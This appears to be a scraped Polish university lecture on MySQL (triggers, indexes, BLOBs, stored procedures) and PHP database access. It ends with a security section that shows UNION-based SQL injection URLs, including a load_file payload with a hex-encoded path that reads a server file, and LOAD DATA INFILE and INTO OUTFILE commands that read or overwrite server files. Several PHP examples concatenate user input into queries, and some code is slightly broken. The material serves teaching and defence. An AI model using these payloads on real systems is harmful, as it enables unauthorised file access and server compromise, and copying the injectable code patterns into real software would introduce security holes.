550 likes | 663 Views
Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos.com. TRIGGER – specyficzna stored procedure. TRIGGER – funkcja składowana wywoływana automatycznie, przez serwer po zaistnieniu pewnego zdarzenia TRIGGER (wyzwalacz) jest więc swego rodzaju event guardianem obiekt standardowy SQL99.
E N D
Bazy DanychWykład 7Wojciech St. Mościbrodzkiwojmos@wojmos.com
TRIGGER – specyficzna stored procedure • TRIGGER – funkcja składowana wywoływana automatycznie, przez serwer po zaistnieniu pewnego zdarzenia • TRIGGER (wyzwalacz) jest więc swego rodzaju event guardianem • obiekt standardowy SQL99 update licznik set imie_ile=select count(*) from imie +----------------+ |imie| +----------------+ |Jan| |Tadeusz| |Piotr| |Kacper| +----------------+ mysql> insert into imie values ('Czesio')
Klasyfikacja TRIGGERÓW • Triggery (wyzwalacze) możemy podzielić: • według kryterium czasu: • triggery BEFORE • triggery AFTER • triggery INSTEAD OF (rzadko implementowane) • według kryterium rodzaju operacji (związek z type operacji, a nie poleceniem!) • triggery ON INSERT (działa także w przypadku LOAD DATA) • triggery ON DELETE • triggery ON UPDATE • według kryterium obiektu strzeżonego • triggery modyfikacji danych • triggery modyfikacji struktury (trigger ALTER, DROP) • triggery eventowe (trigger LOGIN)
Budowa TRIGGERA • Ogólna postać: CREATE [DEFINER = { user | CURRENT_USER }] TRIGGER trigger_nametrigger_timetrigger_event ON tbl_name FOR EACH ROW trigger_stmt delimiter | CREATE TRIGGER testref BEFORE INSERT ON test1 FOR EACH ROW BEGIN UPDATE test4 SET b4 = b4 + 1 WHERE a4 = 3; END; | delimiter ; • Prawa (MySql): • tworzenie triggerów wymaga praw TRIGGER dla danej tablicy (wcześniej: prawo globalne SUPER)
obiekty NEW i OLD • Obiekty przechowujące wartość poprzednią i nową: create table t1 (id int, auto_increment primary key, liczba int); create table historia (z char(100), stamp timestamp) delimiter | CREATE TRIGGER moj1 AFTER UPDATE ON t1 FOR EACH ROW BEGIN INSERT INTO history(z) values (CONCAT(OLD.liczba,'->',NEW.liczba)); END; | delimiter ; update t1 set liczba=2 where id=1; insert into t1(liczba) values (222);
Obiekty OLD i NEW • MySQL ułatwia wywołania obiektów poprzez nadanie im nazw delimiter | CREATE TRIGGER pensja_trigger BEFORE UPDATE ON pracownicy_table REFERENCING NEW ROW AS n, OLD ROW AS o FOR EACH ROW IF n.pensja <> o.pensja THEN --wykonaj odpowiednie działania; END IF; delimiter ;
Bezpieczniejsze tworzenie triggerów DROP TRIGGER IF EXISTS moj1; delimiter | CREATE TRIGGER moj1 AFTER UPDATE ON t1 FOR EACH ROW BEGIN INSERT INTO history (zapis) values (3); END; | delimiter ;
Indeks • Indeks jest pomocniczą strukturą nakładaną na tabelę (ściślej: kolumnę lub grupę kolumn), służącą polepszaniu efektywności wyszukiwania. Indeksy pogarszają efektywność operacji udpate, delete i insert. CREATE [UNIQUE|FULLTEXT|SPATIAL] INDEX index_name [index_type] ON tbl_name (index_col_name,...) [index_type] index_col_name: col_name [(length)] [ASC | DESC] index_type: USING {BTREE | HASH}
Indeksy w MySQL • Silnik MySQL używa indeksów zwłaszcza do: • Generowania wyników klauzuli WHERE • Eliminowania krotek (DISTINCT) • Generowania wyników JOIN (warto zadbać, aby indeksy były tego samego typu i wielkości – co ma znaczenie przy indeksach tekstowych) • Generowania agregatów MIN i MAX • Do sortowania za pomocą ORDER BY • Uwaga: MySQL używa własnego algorytmu estymacji efektywności indeksów • Każdy klucz główny jest indeksowany
Indeksy typu HASH i indeksy typu B-TREE • Indeksy zbudowane na drzewach są bardziej elastyczne (dlatego są domyślnym typem) • Z uwagi na budowę, indeks typu HASH: • Może pracować tylko dla porównań >= <= oraz = (ale za to jest bardzo szybki) • Nie przyspiesza sortowania z użyciem ORDER BY (bo nie daje możliwości "znalezienia następnego") • Nie może ocenić ilości danych pomiędzy granicami wyszukiwania (BETWEEN) • Indeksuje jedynie całą wartość klucza
TEXT i BLOB • BLOB (Binary Large OBject) to typ danych służący do przechowywania dużych obiektów binarnych. • TEXT to duże obiekty tekstowe (używają charsetu!) CREATE TABLE picture (ID INTEGER AUTO_INCREMENT,IMAGE BLOB, PRIMARY KEY (ID)) ENGINE=InnoDB;
Projektowanie baz danych jako proces • ETAPY: • Ustalenie wymagań odbiorcy • Modelowanie konceptualne • Modelowanie logiczne • Modelowanie fizyczne • Realizacja bazy danych • Testowanie i walidacja
Problem Mentalna percepcja świata rzeczywistego Model pojęciowy Schemat relacyjnej struktury danych
PROJEKT i kolokwium • Kolokwium: • 25 pytań – 45 minut, suma = 30 punktów • pytania testowe + pytania otwarte • na pewno będzie (...się można spodziewać): • składnie: SELECT, UPDATE, INSERT, DELETE • zbudować zapytania do przedstawionego ERD • narysować prosty ERD (znaleźć błędy?) • poprawić ERD postaci normalne • JOIN – na 2 i 3 tablicach • tworzenie procedur i funkcji • zwracanie wartości • indeksy • najważniejsze funkcje SQL • OUTER/INNER/NATURAL • TRIGGER
BLOB • BLOB – przechowywanie dużych obiektów • przechowuje duże dane binarne • cztery podtypy: • TINYBLOB: 2^8 bajtów • BLOB: 2^16 bajtów • MEDIUMBLOB: 2^24 bajtów • LONGBLOB: 2^32 bajtów • zasadniczo: BLOB=duży VARBINARY CREATE TABLE picture (ID INTEGER AUTO_INCREMENT,IMAGE BLOB, PRIMARY KEY (ID)) ENGINE=InnoDB;
BLOB i obrazki • Dwie formy tworzenia multimedialnych baz: • przechowywanie obiektów (BLOB) • LOAD DATA / SELECT INTO OUTFILE: • przechowywanie referencji (nazwy) LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name' INTO TABLE tbl_name [{FIELDS | COLUMNS} [TERMINATED BY 'string'] [[OPTIONALLY] ENCLOSED BY 'char'] [ESCAPED BY 'char'] ] SELECT ... INTO OUTFILE 'savefilename'
Operator UNION • UNION jest operatorem do łączenia wyników 2+ selectów SELECT ... UNION [ALL | DISTINCT] SELECT ... [UNION [ALL | DISTINCT] SELECT ...] • UNION zakłada, że odpowiednie kolumny mają ten sam typ • Możliwe jest stosowanie ORDER, SORT, LIMIT na całej unii: (SELECT a FROM t1 WHERE a=10 AND B=1) UNION (SELECT a FROM t2 WHERE a=11 AND B=2) ORDER BY a LIMIT 10;
Indeksy + Automatyczne wypełnianie tablic z użyciem procedur
Funkcja tworząca losowy ciąg znaków o zadanej długości delimiter ;; drop function if exists rndtxt; create function rndtxt(dlugosc int) returns text begin declare i int default dlugosc; declare result text default ''; declare znak char(1); while (i > 0) do set i = i - 1; set znak = char( floor(65 + RAND()*(91-65)) ); set result = concat(result, znak); end while; return result; end ;; delimiter ;
Funkcja tworząca losowego człowieka (imię) – 1/2 create table imie(id int auto_increment primary key, wartosc char(30));
Funkcja tworząca losowego człowieka: (imie) – 2/2 CREATE FUNCTION imie() RETURNS CHAR(50) BEGIN DECLARE temp char(50); select wartosc into temp from imie order by rand() limit 1; set temp := concat(ucase(substring(temp,1,1)),substring(temp,2)); return temp; END; • Funkcja tworząca losowego człowieka: (nazwisko) – 1/2 create table sylaba (int id auto_increment primary key, wartosc char(5)); insert into sylaba(wartosc) values ('ko'); insert into sylaba(wartosc) values ('pa'); insert into sylaba(wartosc) values ('fi'); insert into sylaba(wartosc) values ('gu'); insert into sylaba(wartosc) values ('ba'); insert into sylaba(wartosc) values ('sza'); insert into sylaba(wartosc) values ('tu'); insert into sylaba(wartosc) values ('sa'); insert into sylaba(wartosc) values ('ke');
Funkcja tworząca losowego człowieka: (nazwisko) – 2/2 drop function if exists nazwisko; delimiter ;; CREATE FUNCTION nazwisko(sylaby int) RETURNS CHAR(50) BEGIN DECLARE ile_sylab INT default sylaby; DECLARE nazwisko char(50) default ''; DECLARE temp char(5); while (ile_sylab>0) do select wartosc into temp from sylaba order by rand() limit 1; set nazwisko := concat(nazwisko,temp); set ile_sylab := ile_sylab - 1; end while; set nazwisko := concat(nazwisko,'cki'); set nazwisko := concat(ucase(substring(nazwisko,1,1)),substring(nazwisko,2)); return nazwisko; END; ;; delimiter ;
Przygotowanie dużej tabeli drop table if exists czlowiek; create table czlowiek (id int auto_increment primary key, imie varchar(50), nazwisko varchar(50), dane char(255)); create procedure MakeCzlowiek() begin declare sylab int; declare dane int; set sylab := floor(2 + RAND()*(2-0)); set dane := floor(255 + RAND()*(255-100)); insert into czlowiek(imie, nazwisko, dane) select imie(), nazwisko(sylab), rndtxt(dane); end;
Przygotowanie dużej tabeli drop table if exists czlowiek; create table czlowiek (id int auto_increment primary key, imie varchar(50), nazwisko varchar(50), dane char(255)); drop procedure if exists MakeLudzie; delimiter ;; create procedure MakeLudzie(IN ile int) begin declare licznik int default ile; while (licznik > 0) do call MakeCzlowiek(); set licznik := licznik - 1; end while; end; ;; delimiter ;
Przygotowanie dużej tabeli drop table if exists dane; create table dane (id int auto_increment primary key, dana1 char(255), dana2 char(255), dana3 char(255), dana4 char(255), dana5 varchar(50), dana6 char(255)); create procedure MakeDane(IN ile int) begin declare licznik int default ile; while (licznik > 0) do insert into dane(dana1, dana2, dana3, dana4, dana5, dana6) select rndtxt(rand()*200+10), rndtxt(rand()*250+100), rndtxt(rand()*100+50), rndtxt(rand()*250+200), rndtxt(rand()*200+100), rndtxt(rand()*250+10); set licznik := licznik - 1; end while; end;
Tabelka pośrednicząca: drop table if exists czldan; create table czldan (id_czl int, id_dan int); create procedure MakeLink() begin declare id_czl int; declare id_dan int; select id into id_czl from czlowiek order by rand() limit 1; select id into id_dan from dane order by rand() limit 1; insert into czldan values (id_czl, id_dan); end; create procedure MakeLinks(IN ile int) begin while (ile>0) do call MakeLink(); set ile = ile - 1; end while; end;
Indeksy • Indeks jest strukturą bazy danych przeznaczoną do przyspieszania wyszukiwania • Indeksy: • bezklastrowe (leksykony) • klastrowe (skorowidze) CREATE [UNIQUE|FULLTEXT|SPATIAL] INDEX index_name [index_type] ON tbl_name (index_col_name,...) [index_type] index_col_name: col_name [(length)] [ASC | DESC] index_type: USING {BTREE | HASH | RTREE}
Działanie indeksów • Trudne zapytania: select imie, nazwisko from czlowiek left outer join czldan on (czlowiek.id=czldan.id_czl) left outer join dane on (czldan.id_dan=dane.id) order by dana5, nazwisko desc; ... 156638 rows in set (1 min 43.33 sec) create index ind1 on dane(dana5(5)); create index ind2 on czldan(id_czl); create index ind3 on czldan(id_dan); create index ind4 on dane(dana5(50)); ... 156638 rows in set (4.15 sec)
Implementacja MySQL w PHP mySQL mySQLi PDO • Implementacja obsługi mySQL odbywa się w postaci natywnego API dla PHP: mysql, mysqli lub PDO • Alternatywą jest stosowanie Open Connectivity (np. ODBC): ODBC ODBC
PHP i MySQL • Konstrukcja dynamicznego HTML z szablonu w PHP i danych:
(my)SQL w PHP • Operacje na bazie przeprowadzane są przez handlery połączeń • PHP zapewnia specjalny typ resource: połączenie z serwerem HTTP connection MySQL query MySQL connection
mysql_connect resource mysql_connect ( [ string $serwer [, string $nazwa_użytkownika [, string $hasło [, bool $nowe_połączenie [, int $flagi_klienta ]]]]] ) Serwer, do jakiego łączymy user password testowanie, jeśli już otwarte? dodatki
Obsługa błędów • MySQL wysyła błędy do PHP – mogą być one przechwycone: int mysql_errno ([ resource $link ] ) string mysql_error ([ resource $link ] ) • Typowa obsługa: <?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); if (!$link) { die('Nie można się połaczyć: ' . mysql_error()); };?>
Wybór bazy danych • Wybranie połączenia z bazą (może być także – baza domyślna) bool mysql_select_db ( string $nazwa_bazy [, resource $identyfikator_połączenia ] ) <?php $link = mysql_connect('localhost', ‘user', ‘pass') or die('Nie połączono: '.mysql_error()); }; $db_selected = mysql_select_db(‘moja1', $link); if (!$db_selected) { die ('Nie można ustawić moja1: '.mysql_error()); };?>
Sprzątamy po zakończeniu pracy • Dobrze napisany skrypt usuwa po sobie połączenie (choć nie jest to konieczne dla połączeń nie-stałych); bool mysql_close ([ resource $link ] ) • Dobry skrypt: otwórz-wybierz-query1-query2-…-queryN-zamknij <?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); mysql_select_db(‘moja_baza’); Query1; // jak – za chwilę Query2; // itd. close($link); ?>
Zapytania: typu result i typu exec • Zapytanie typu result zwraca JAKIŚ wynik (tabelę). Zapytania tego typu to: SELECT, DESCRIBE, EXPLAIN i SHOW • Zapytanie typu exec wykonuje się na bazie danych i zwraca jedynie status (true, albo false). Typowe zapytania to CREATE, DELETE, DROP i INSERT. • Oba typy zapytań obsługuje funkcja mysql_query.Dla zapytań result zwracany jest resource typu handler wyniku.Dla zapytań exec zwracany jest resource typu bool. resource mysql_query ( string $query [, resource $link [, int $typ_wyniku ]] ) Treść zapytania Handler połączenia (otwartego!) Flagi (np. buforowanie)
Zapytania typu exec • Zapytania takie mają prostą obsługę błędów: <?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = "insert into faktura values (‘N12943’)"; $result = mysql_query($query) or die("Zapytanie niepoprawne:".mysql_error()); close($link); ?> zwrócona wartość to TRUE lub FALSE • Dodatkowo, można sprawdzić, ile krotek uległo zmianie (DELETE!): int mysql_affected_rows ([ resource $link ] ) int mysql_insert_id ([ resource $ link ] )
Zapytania typu result • Zapytania tego typu zwracają tabelę (jako handler wyniku) z danymi.Jest ona przetwarzana wolniej niż kursor SQL. mixed mysql_result ( resource $wynik, int $wiersz [, mixed$pole ]) Wynik zwrócony przez mysql_query() Który wiersz wyniku (numerowanie od 0) Która kolumna wyniku (numerowanie od 0) zwrócona wartość to handler tablicy <?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); $result = mysql_query("select * from faktura") or die("Zapytanie niepoprawne:".mysql_error()); $dana = mysql_result($result,0,0); echo $dana; close($link); ?>
Kursor - Szybka forma przetwarzania • Funkcja mysql_fetch_row działa szybciej niż mysql_result array mysql_fetch_row (resource $wynik) bool mysql_data_seek (resource $wynik, int $nr) mysql_query() mysql_data_seek() mysql_fetch_row() int mysql_num_rows (resource $wynik) mysql_data_fields() int mysql_num_fields (resource $wynik) mysql_num_rows()
Obsługa kursora po stronie PHP function DBArrayQuery($query) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $result = @mysql_query($query); $tablica = array(); $num_fields = mysql_num_fields($result); // kursor - X $num_rows = mysql_num_rows($result); // kursor - Y $nr_row = 0; while ($nr_row < $num_rows) { $nr_field = 0; $curr_row = mysql_fetch_row($result); while ($nr_field < $num_fields) { $tablica[$nr_row][$nr_field]=$curr_row[$nr_field]; $nr_field++; }; $nr_row++; };return $tablica;};
Obsługa praw dostępu • Autoryzacja za pomocą wielu użytkowników: database: mysql database: mysql • Autoryzacja za pomocą auth-usera: database: moja
Typowe problemy: • Na stronach zbudowanych w oparciu o PHP często napotykamy na błędy przy wywołaniu takiej funkcji: function DBInsert($value) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = ”insert into pracownik (nazwisko) values ”; $query .= ”(‘”.$value.”’)”;@mysql_query($query); mysql_close($link);};...DBInsert(‘Kowalski’); • Dlaczego?
Typowe problemy: • Problemem jest fakt, że użytkownik lub autor skryptu może dopisać do zapytania łańcuchy zaburzające składnię SQL: function DBInsert($value) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = ”insert into pracownik (nazwisko) values ”; $query .= ”(‘”.$value.”’)”;@mysql_query($query);};DBInsert(” d`Artagnan”); insert into pracownik (nazwisko) values (’d’Artagnan’); • Aby tego uniknąć można zastosować funkcję ochronną: string mysql_escape_string ( string $łańcuch )
Tablica SQL w tabelce HTML dzięki tablicy PHP • Etapy rozwiązywania problemu: • Obsłużyć połączenie z bazą danych • Wysłać zapytanie • Odebrać rezultat i wpisać do tablicy dwuwymiarowej w PHP • Opakować zawartość tablicy PHP w znaczniki HTML • Funkcja tworząca połączenie: function DBlink($db_base, $db_user, $db_pass) { $link = mysql_connect($db_host, $db_user, $db_pass) or die ('Cant access: ' . mysql_error()); mysql_select_db($db_base, $link); or die ('Cant switch to DB: ' . mysql_error()); return $link;};
Tablica SQL w tabelce HTML dzięki tablicy PHP • Funkcja wysyłająca zapytanie i odbierająca wynik: function DBArrayQuery($query) { $link = DBlink(); $result = @mysql_query($query); $tablica = array(); $nr_row = 0; while ($nr_row < mysql_num_rows($result)) { $nr_field = 0; $curr_row = mysql_fetch_row($result); while ($nr_field < mysql_num_fields($result);){ $tablica[$nr_row][$nr_field]=$curr_row[$nr_field]; $nr_field++; }; $nr_row++; };return $tablica;};
Tablica SQL w tabelce HTML dzięki tablicy PHP • Funkcja obsługująca wynik w postaci HTML: function HTMLize($tablica) { echo ”<TABLE BORDER=1>”; foreach ($tablica as $wiersz) { echo ”<TR>”;foreach ($wiersz as $komorka) { echo ”<TD>”. $komorka . ”</TD>”; }; echo ”</TD>”; };}; • Program główny: HTMLize(DBArrayQuery(”select name, ind from student”));
Uwagi o bezpieczeństwie • Najważniejsze przykazania: • NIGDY nie pisz skryptów łączących się do bazy jako root (mysql) • NIGDY nie uruchamiaj serwera bazy danych z konta superusera • Nie dopuszczaj do wykonania komendy LOAD DATA INFILE z sieci • Nie dopuszczaj do wykonania komendy SELECT INTO OUTFILE z sieci • Nie pozwalaj na generowanie dowolnych SQLi przez użytkownika • Uważaj na SQL injection attack • SQL Injection attack (UNION type): $query = "SELECT * FROM user where max_connections = " . $_REQUEST['user'];$result = mysql_result($query); http://mojastrona.com/query.php?user=0 http://mysql.example.com/query.php?user=1+union+select+name,dl,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+func
Atak typu UNION + LOAD FILE • W SQL łańcuch tekstowy można reprezentować jako jego wartości numeryczne. Na przykład: 'c:/boot.ini' jest równoznaczne z: 0x633a2f626f6f742e696e69 • Skoro tak to można wykonać zapytanie select 0x633a2f626f6f742e696e69 • A więc można wpisać taki URL: http://mysql.example.com/query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 • I zobaczyć W PRZEGLĄDARCE: [boot loader] timeout=30default=multi(0)disk(0)rdisk(0)pa 1 1 N N N NN N N N N N N N N N N N N N N N N 1 1 1 1 1 1
Ataki typu DATA INFILE/DATA OUTFILE • Ta metoda ataku wymaga dopuszczenia zapytań SQL podawanych przez klienta. Żeby obejrzeć plik z serwera wystarczy: create table foo( line blob );load data infile 'c:/boot.ini' into table foo;select * from foo; • Ta metoda ataku pozwala (na niespatchowanym mysql) na podmianę plików konfiguracyjnych: create table xxx( line text );insert into xxx values (”A to mój nowy plik konfiguracyjny”);select line from xxx into c:\mysql\mysql.cnf